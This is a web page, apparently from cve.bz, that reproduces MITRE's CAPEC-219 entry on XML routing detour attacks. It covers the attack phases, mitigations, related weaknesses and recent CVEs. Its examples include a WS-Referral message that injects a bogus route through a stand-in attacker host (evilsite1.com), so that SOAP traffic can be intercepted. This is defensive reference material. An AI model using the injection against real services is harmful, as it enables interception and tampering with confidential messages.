cve.bz

CAPEC-219

XML Routing Detour Attacks

Medium severityHigh likelihoodStandard pattern

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

On this page

Ask an AI about this attack pattern

Show the promptExplain the attack pattern CAPEC-219: XML Routing Detour Attacks: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/219.html and https://cve.bz/cve/capec/219?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this attack pattern's id and public links.

How the attack unfolds

  1. Explore

    The attacker looks for a way in.

    1. [Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.

      2 techniques
      • Use automated tool to record all instances to process XML requests or find exposed WSDL.
      • Use tools to crawl WSDL
  2. Experiment

    They probe what they found.

    1. [Identify SOAP messages that have multiple state processing.] Inspect instance to see whether the XML processing has multiple stages or not.

      1 technique
      • Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.
  3. Exploit

    They carry out the attack.

    1. [Launch an XML routing detour attack] The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).

      1 technique
      • The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message

Prerequisites

  • The targeted system must have multiple stages processing of XML content.

Skills required

  • Low skill

    To inject a bogus node in the XML routing table

Resources required

  • The attacker must be able to insert or compromise a system into the processing path for the transaction.

Consequences

What a successful attack can lead to
ImpactAffectsNote
Modify DataIntegrity
Read DataConfidentiality
Gain PrivilegesAccountability, Authentication, Authorization, Non-Repudiation
Bypass Protection MechanismAccess Control, Authorization

Mitigations

  • Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.

  • Implementation: Use SSL for connections between all parties with mutual authentication.

Weaknesses it exploits

  • CWE-441 Unintended Proxy or Intermediary
  • CWE-610 Externally Controlled Reference to a Resource in Another Sphere

Recent CVEs with these weaknesses

  1. 8.7CVE-2026-93329

    A Confused Deputy and Server-Side Request Forgery (SSRF) vulnerability in the /api-proxy endpoint in Google Cloud Gemini Enterprise Agent Platform — Agent Studio App Builder versions prior to 2026-09-02 on Cloud Run allows an attacker with…

  2. 8.7CVE-2026-133462

    AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. From 0.6.49 before 0.11.0, the MCPToolBlock auto-lookup allows a shared agent's author to use the MCP credentials of…

  3. 5.8CVE-2026-63582

    Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice. With virt…

  4. 8.8CVE-2026-86312

    Under some configurations a request to the ping endpoint could carry out more than a simple health check. In deployments that rely on Solr's rule-based authorization, a client granted only the low-privilege health permission could thereby …

  5. 7.1CVE-2026-134818

    oasdiff 1.24.0 before 1.34.1 fails to enforce --allow-external-refs=false when --open is used, because the recordingReader() capture reader in load/capture.go never applies the external-reference policy. Attackers supplying an untrusted Op…

  6. 9.3CVE-2026-86130

    A missing authentication vulnerability in WatchGuard Dimension's log collection service allows a remote, unauthenticated attacker to execute arbitrary SQL statements and ultimately execute arbitrary code as the Dimension WebUI process user…

  7. 8.1CVE-2026-131071

    Confused deputy in Mobile in Google Chrome on on Android prior to 158.0.8127.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)

  8. 5.1CVE-2026-131032

    Confused deputy in UI in Google Chrome on on Android prior to 158.0.8127.36 allowed a local attacker leveraging social engineering to obtain sensitive information via a co-installed app. (Chromium security severity: Medium)

The newest records naming one of them. Each weakness's page lists them all.

Part of

Examples

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, ex…

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).

Example SOAP message with routing information in header:

<S:Envelope>
  <S:Header>
    <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
      <m:action>http://example1.com/</m:action>
      <m:to>http://example4.com/router</m:to>
      <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
      <m:fwd><m:via>http://example2.com/router</m:via></m:fwd>
      <m:rev />
    </m:path>
  </S:Header>
  <S:Body>
    ...
  </S:Body>
</S:Envelope>

Add an additional node (example3.com/router) to the XML path in a WS-Referral message

<r:ref xmlns:r="http://schemas.example.com/referral">
  <r:for>
    <r:prefix>http://example2.com/router</r:prefix>
  </r:for>
  <r:if/>
  <r:go>
    <r:via>http://example3.com/router</r:via>
  </r:go>
</r:ref>

Resulting in the following SOAP Header:

  <S:Envelope>
    <S:Header>
      <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
        <m:action>http://example1.com/</m:action>
        <m:to>http://example4.com/router</m:to>
        <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
        <m:fwd>
          <m:via>http://example2.com/router</m:via>
          <m:via>http://example3.com/router</m:via>
        </m:fwd>
        <m:rev />
      </m:path>
    </S:Header>
    <S:Body>
      ...
    </S:Body>
  </S:Envelope>

Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.

Example of WS-Referral based WS-Routing injection of the bogus node route:

  <r:ref xmlns:r="http://schemas.example.com/referral">
    <r:for>
      <r:prefix>http://example2.com/router</r:prefix>
    </r:for>
    <r:if/>
    <r:go>
      <r:via>http://evilsite1.com/router</r:via>
    </r:go>
  </r:ref>

Resulting XML Routing Detour attack:

  <S:Envelope>
    <S:Header>
      <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
        <m:action>http://example_0.com/</m:action>
        <m:to>http://example_4.com/router</m:to>
        <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
        <m:fwd>
          <m:via>http://example2.com/router</m:via>
          <m:via>http://evilesite1.com/router</m:via>
          <m:via>http://example3.com/router</m:via>
        </m:fwd>
        <m:rev />
      </m:path>
    </S:Header>
    <S:Body>
      ...
    </S:Body>
  </S:Envelope>

Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

MITRE's words, unchanged: CAPEC-219 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.